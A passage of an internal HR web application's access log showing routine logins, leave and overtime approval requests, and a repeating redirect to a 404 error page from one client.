/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:00 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:00 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:01 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:01 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:02 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:02 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18755 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18755 192.168.40.45 - - [04/Dec/2025:13:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.153 - - [04/Dec/2025:13:03:19 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5492 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:19 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5492 192.168.11.153 - - [04/Dec/2025:13:03:23 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:23 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.11.153 - - [04/Dec/2025:13:03:26 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49845 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:26 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49845 192.168.11.153 - - [04/Dec/2025:13:03:54 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:54 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132727%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132727&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132727%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132727&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:03:55 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:13:03:56 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 